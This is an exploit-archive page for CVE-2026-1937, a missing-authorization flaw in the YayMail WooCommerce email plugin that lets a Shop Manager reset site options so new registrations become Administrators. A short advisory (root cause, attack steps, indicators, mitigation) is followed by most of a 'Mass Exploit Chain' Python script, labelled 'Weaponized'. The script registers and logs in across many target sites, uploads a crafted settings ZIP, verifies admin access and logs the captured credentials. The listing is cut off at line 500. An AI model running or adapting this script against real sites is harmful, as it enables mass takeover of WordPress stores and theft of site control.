PoC Archive PoC Archive
High CVE-2026-1937 unpatched

YayMail WooCommerce Plugin Missing Authorization to Privilege Escalation — CVE-2026-1937

by Nxploited (Khaled Alenazi); vulnerability discovered by Daniel Basta (whizzu), NASK PIB · 2026-07-05

CVSS 7.2/10
Severity
High
CVE
CVE-2026-1937
Category
web
Affected product
YayMail – WooCommerce Email Customizer plugin for WordPress
Affected versions
All versions up to and including 4.3.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherNxploited (Khaled Alenazi); vulnerability discovered by Daniel Basta (whizzu), NASK PIB
CVE / AdvisoryCVE-2026-1937
Categoryweb
SeverityHigh
CVSS Score7.2 (CVSS 3.1, per source repository)
StatusWeaponized
Tagswordpress, woocommerce, plugin, missing-authorization, privilege-escalation, mass-exploitation, ajax
RelatedN/A

Affected Target

FieldValue
Software / SystemYayMail – WooCommerce Email Customizer plugin for WordPress
Versions AffectedAll versions up to and including 4.3.2
Language / PlatformPython 3 (exploit tooling) targeting PHP/WordPress
Authentication RequiredYes — Shop Manager role or above
Network Access RequiredYes

Summary

The YayMail WooCommerce Email Customizer plugin registers an AJAX action, yaymail_import_state, that lets users import a saved settings ZIP file without any server-side capability check. An authenticated attacker holding only the WooCommerce Shop Manager role (or higher) can call this action directly and upload a crafted ZIP that silently overwrites arbitrary WordPress site options — specifically flipping default_role to administrator and enabling users_can_register. Once these options are set, anyone can self-register through the normal WooCommerce/WordPress registration form and instantly receive a full Administrator account. The included PoC automates the entire chain: registering a WooCommerce account, logging in, extracting the YayMail nonce, firing the crafted import to poison the options, and then verifying administrator access — across a list of targets.


Vulnerability Details

Root Cause

The yaymail_import_state AJAX handler does not call current_user_can() or any equivalent capability check before processing an uploaded import ZIP, letting any Shop Manager-level (or above) user overwrite arbitrary entries in the wp_options table via the plugin’s settings-import mechanism.

Attack Vector

  1. Register (or otherwise obtain) a WooCommerce account with Shop Manager-level access on the target WordPress site.
  2. Log in and load the YayMail settings page to extract the ajax_url and import nonce.
  3. Send a crafted yaymail_import_state AJAX request with a malicious yaymail_backup.zip that sets default_role=administrator and users_can_register=1.
  4. With public registration now open and defaulting new accounts to Administrator, self-register a fresh account through the standard WordPress/WooCommerce registration form.
  5. Verify the new account has full manage_options administrator access.

Impact

Any authenticated Shop Manager-level user (or an attacker who can obtain such an account) can escalate to full WordPress Administrator, resulting in complete compromise of the site.


Environment / Lab Setup

Target:   WordPress + WooCommerce site running YayMail <= 4.3.2, WooCommerce registration enabled
Attacker: Python 3.8+, `requests`, `urllib3`, `rich`; crafted yaymail_backup.zip import payload

Proof of Concept

PoC Script

See CVE-2026-1937.py and the crafted yaymail_backup.zip import payload in this folder.

1
2
pip install requests urllib3 rich
python3 CVE-2026-1937.py

The script walks each target through WooCommerce registration, login, YayMail nonce extraction, the yaymail_import_state exploit using yaymail_backup.zip, and a final admin-access verification step, logging successful escalations to an output file.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected new Administrator accounts created shortly after public registration was enabled.
  • wp_options entries for default_role or users_can_register changed outside of normal admin activity.
  • Repeated yaymail_import_state AJAX calls from Shop Manager-level accounts in access logs.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory and update YayMail beyond 4.3.2 once available
Interim mitigationRestrict/disable public registration, audit and restrict Shop Manager account grants, and add a capability check in front of the yaymail_import_state action via a security plugin or code snippet

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-1937 on 2026-07-05.

CVE-2026-1937.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# By: Nxploited (@Kxploit)

import os
import sys
import time
from datetime import datetime
from typing import Optional, Dict, List
from urllib.parse import urlparse, urljoin

import re
import json as _json
import random
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.align import Align
from rich.text import Text
from rich import box

requests.packages.urllib3.disable_warnings()
console = Console()

REG_RESULTS_FILE = "reg.txt"
ADMIN_RESULTS_FILE = "Nx_admin.txt"
YAYMAIL_ZIP = "yaymail_backup.zip"

UA_POOL = [
    "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
]


def get_random_ua() -> str:
    return random.choice(UA_POOL)


def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"


def new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.timeout = timeout
    return s


def banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")

    ascii_lines = [
        "  _      _   _   _  _   _        _  _  __ ",
        " / \\  / |_ __ ) / \\  ) |_ __ /| (_| _)  / ",
        " \\_ \\/  |_   /_ \\_/ /_ |_)    |   | _) /  ",
        "                                          ",
    ]
    ascii_text = "\n".join(ascii_lines)

    title = Text("WooCommerce · YayMail · Mass Exploit Chain", style="bold cyan")
    author = Text("By: Nxploited  |  GitHub: github.com/Nxploited  |  Telegram: @Kxploit", style="bold white")

    body = Align.center(
        Text(ascii_text, style="bold magenta")
        + Text("\n")
        + title
        + Text("\n")
        + author,
        vertical="middle",
    )

    panel = Panel(
        body,
        border_style="magenta",
        box=box.HEAVY,
        padding=(1, 4),
    )
    console.print(panel)


def live_status(target: str, label: str, color: str, note: str = "") -> None:
    tag = Text(f"[{label}]", style=color + " bold")
    host = Text(f" {target}", style="white")
    t = tag + host
    if note:
        t += Text(f"  ::  {note}", style="bright_black")
    console.print(t)


def write_reg_result(base: str, username: str, email: str, password: str) -> None:
    ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
    line = f"[{ts}] {base} user:{username} email:{email} pass:{password}\n"
    try:
        with open(REG_RESULTS_FILE, "a", encoding="utf-8") as f:
            f.write(line)
    except Exception:
        pass


def write_admin_result(base: str, username: str, password: str, note: str = "") -> None:
    ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
    line = f"[{ts}] {base} user:{username} pass:{password}"
    if note:
        line += f" | {note}"
    line += "\n"
    try:
        with open(ADMIN_RESULTS_FILE, "a", encoding="utf-8") as f:
            f.write(line)
    except Exception:
        pass


def fetch_woo_account_pages(session: requests.Session, base: str, timeout: int) -> Dict[str, str]:
    root = base.rstrip("/")
    paths = [
        "/my-account/",
        "/my_account/",
        "/My-account/",
        "/account/",
        "/myaccount/",
        "/customer-login/",
        "/login/",
        "/register/",
        "/sss/",
    ]
    htmls: Dict[str, str] = {}
    for p in paths:
        url = root + p
        try:
            r = session.get(url, timeout=timeout, verify=False, headers={"User-Agent": get_random_ua()})
            if r.status_code == 200 and "<form" in r.text.lower():
                htmls[url] = r.text
        except Exception:
            continue
    return htmls


def extract_woo_register_form(html: str) -> Optional[Dict[str, str]]:
    if "woocommerce-register-nonce" not in html and "register" not in html.lower():
        return None

    nonce_match = re.search(
        r'name=["\']woocommerce-register-nonce["\']\s+value=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if not nonce_match:
        return None
    nonce_value = nonce_match.group(1)

    form_match = re.search(
        r'<form[^>]+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>',
        html,
        re.IGNORECASE,
    )
    action = form_match.group(1) if form_match else ""

    email_name = "email"
    password_name = "password"
    username_name = None

    email_input = re.search(
        r'<input[^>]+type=["\']email["\'][^>]*name=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if email_input:
        email_name = email_input.group(1)

    pass_input = re.search(
        r'<input[^>]+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if pass_input:
        password_name = pass_input.group(1)

    user_input = re.search(
        r'<input[^>]+(name=["\']username["\']|id=["\']username["\'])[^>]*>',
        html,
        re.IGNORECASE,
    )
    if user_input:
        mname = re.search(r'name=["\']([^"\']+)["\']', user_input.group(0), re.IGNORECASE)
        if mname:
            username_name = mname.group(1)

    return {
        "action": action,
        "register_nonce": nonce_value,
        "email_name": email_name,
        "password_name": password_name,
        "username_name": username_name,
    }


def extract_woo_login_form(html: str) -> Optional[Dict[str, str]]:
    if "woocommerce-login-nonce" not in html and "login" not in html.lower():
        return None

    nonce_match = re.search(
        r'name=["\']woocommerce-login-nonce["\']\s+value=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if not nonce_match:
        return None
    nonce_value = nonce_match.group(1)

    form_match = re.search(
        r'<form[^>]+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>',
        html,
        re.IGNORECASE,
    )
    action = form_match.group(1) if form_match else ""

    user_name = "username"
    password_name = "password"

    u_input = re.search(
        r'<input[^>]+(name=["\']username["\']|id=["\']username["\'])[^>]*>',
        html,
        re.IGNORECASE,
    )
    if u_input:
        mname = re.search(r'name=["\']([^"\']+)["\']', u_input.group(0), re.IGNORECASE)
        if mname:
            user_name = mname.group(1)

    pass_input = re.search(
        r'<input[^>]+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if pass_input:
        password_name = pass_input.group(1)

    return {
        "action": action,
        "login_nonce": nonce_value,
        "username_name": user_name,
        "password_name": password_name,
    }


def woo_register(session: requests.Session, base: str, timeout: int, username: str, email: str, password: str) -> Optional[Dict[str, str]]:
    root = base.rstrip("/")
    pages = fetch_woo_account_pages(session, base, timeout)
    if not pages:
        return None

    for url, html in pages.items():
        reg = extract_woo_register_form(html)
        if not reg:
            continue

        target_action = reg["action"] or url
        if target_action.startswith("http"):
            post_url = target_action
        else:
            post_url = urljoin(root + "/", target_action.lstrip("/"))

        data = {
            reg["email_name"]: email,
            reg["password_name"]: password,
            "woocommerce-register-nonce": reg["register_nonce"],
            "_wp_http_referer": urlparse(url).path,
            "register": "Register",
        }

        if reg["username_name"]:
            data[reg["username_name"]] = username

        headers = {
            "User-Agent": get_random_ua(),
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": url,
        }
        try:
            r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False)
        except Exception:
            continue

        if r.status_code in (302, 303):
            return {"username": username, "email": email, "password": password}
        if any(x in r.text.lower() for x in ["logout", "my account", "account details"]):
            return {"username": username, "email": email, "password": password}

    return None


def woo_login(session: requests.Session, base: str, timeout: int, username_or_email: str, password: str) -> bool:
    root = base.rstrip("/")
    pages = fetch_woo_account_pages(session, base, timeout)
    if not pages:
        return False

    for url, html in pages.items():
        login = extract_woo_login_form(html)
        if not login:
            continue

        target_action = login["action"] or url
        if target_action.startswith("http"):
            post_url = target_action
        else:
            post_url = urljoin(root + "/", target_action.lstrip("/"))

        data = {
            login["username_name"]: username_or_email,
            login["password_name"]: password,
            "woocommerce-login-nonce": login["login_nonce"],
            "_wp_http_referer": urlparse(url).path,
            "login": "Log in",
        }

        headers = {
            "User-Agent": get_random_ua(),
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": url,
        }
        try:
            r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False)
        except Exception:
            continue

        if r.status_code in (302, 303):
            return True
        if any(x in r.text.lower() for x in ["logout", "my account", "account details"]):
            return True

    return False


def wp_login(session: requests.Session, base: str, timeout: int, username: str, password: str) -> bool:
    login_url = base.rstrip("/") + "/wp-login.php"
    headers = {"User-Agent": get_random_ua()}
    try:
        session.get(login_url, headers=headers, timeout=timeout, verify=False)
    except Exception:
        pass

    headers = {
        "User-Agent": get_random_ua(),
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
        "Cookie": "wordpress_test_cookie=WP Cookie check",
    }
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    try:
        r = session.post(login_url, data=data, headers=headers, timeout=timeout, verify=False, allow_redirects=True)
    except Exception:
        return False

    if "wordpress_logged_in" in r.headers.get("Set-Cookie", ""):
        return True
    if any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
        return True
    if "/wp-admin/" in r.url or "dashboard" in r.text.lower():
        return True

    return False


def verify_admin_access(session: requests.Session, base: str, timeout: int) -> bool:
    admin_urls = [
        base.rstrip("/") + "/wp-admin/",
        base.rstrip("/") + "/wp-admin/index.php",
        base.rstrip("/") + "/wp-admin/users.php",
        base.rstrip("/") + "/wp-admin/plugins.php",
    ]
    indicators = [
        "wp-admin-bar",
        "adminmenu",
        "manage_options",
        "users.php",
        "plugins.php",
    ]
    for au in admin_urls:
        try:
            r = session.get(au, headers={"User-Agent": get_random_ua()}, timeout=timeout, verify=False, allow_redirects=False)
        except Exception:
            continue

        if r.status_code in (301, 302) and "wp-login.php" in r.headers.get("Location", ""):
            continue

        if r.status_code == 200:
            lt = r.text.lower()
            if any(ind in lt for ind in indicators):
                return True
    return False


def fetch_yaymail_nonce_and_ajax_url(session: requests.Session, base: str, timeout: int) -> Optional[Dict[str, str]]:
    url = base.rstrip("/") + "/wp-admin/admin.php?page=yaymail-settings#/email-templates"
    headers = {"User-Agent": get_random_ua()}
    try:
        r = session.get(url, headers=headers, timeout=timeout, verify=False)
    except Exception:
        live_status(base, "NONCE-ERROR", "red", "settings request failed")
        return None

    if r.status_code != 200:
        live_status(base, "NONCE-ERROR", "red", f"status {r.status_code}")
        return None

    html = r.text

    m = re.search(
        r'\{"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)"\s*,\s*"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"',
        html,
        re.IGNORECASE,
    )
    if not m:
        m = re.search(
            r'"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)".{0,300}?"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"',
            html,
            re.IGNORECASE | re.DOTALL,
        )

    if not m:
        live_status(base, "NONCE-NOT-FOUND", "bright_black")
        return None

    ajax_url = m.group(1).replace(r"\/", "/")
    nonce = m.group(2)

    if not ajax_url.startswith("http"):
        ajax_url = urljoin(base.rstrip("/") + "/", ajax_url.lstrip("/"))

    live_status(base, "NONCE-FOUND", "magenta", f"nonce: {nonce}")
    return {"ajax_url": ajax_url, "nonce": nonce}


def yaymail_import_exploit(session: requests.Session, base: str, timeout: int, yay_data: Dict[str, str]) -> bool:
    ajax_url = yay_data["ajax_url"]
    nonce = yay_data["nonce"]

    if not os.path.exists(YAYMAIL_ZIP):
        return False

    headers = {"User-Agent": get_random_ua()}
    with open(YAYMAIL_ZIP, "rb") as f:
        files = {
            "import_file": (os.path.basename(YAYMAIL_ZIP), f, "application/zip"),
        }
        data = {
            "action": "yaymail_import_state",
            "nonce": nonce,
        }
        try:
            r = session.post(ajax_url, headers=headers, data=data, files=files, timeout=timeout, verify=False)
        except Exception:
            return False

    # YayMail success example: {"success":true,"data":{"message":"Import state successfully"}}
    try:
        j = r.json()
        if j.get("success") is True and "import state successfully" in str(j.get("data", {}).get("message", "")).lower():
            return True
    except Exception:
        pass

    if r.status_code == 200 and "import state successfully" in r.text.lower():
        return True

    return False


def handle_site(site: str, timeout: int, _: int, username_fixed: str, password_fixed: str, email_fixed: str) -> Dict[str, str]:
    base = normalize_url(site)
    sess = new_session(timeout)

    row = {
        "target": base,
        "status": "[bright_black]UNKNOWN[/bright_black]",
        "note": "",
    }

    live_status(base, "SCAN", "cyan")

    try:
        username = username_fixed
        email = email_fixed
        password = password_fixed

Showing 500 of 655 lines View full file on GitHub →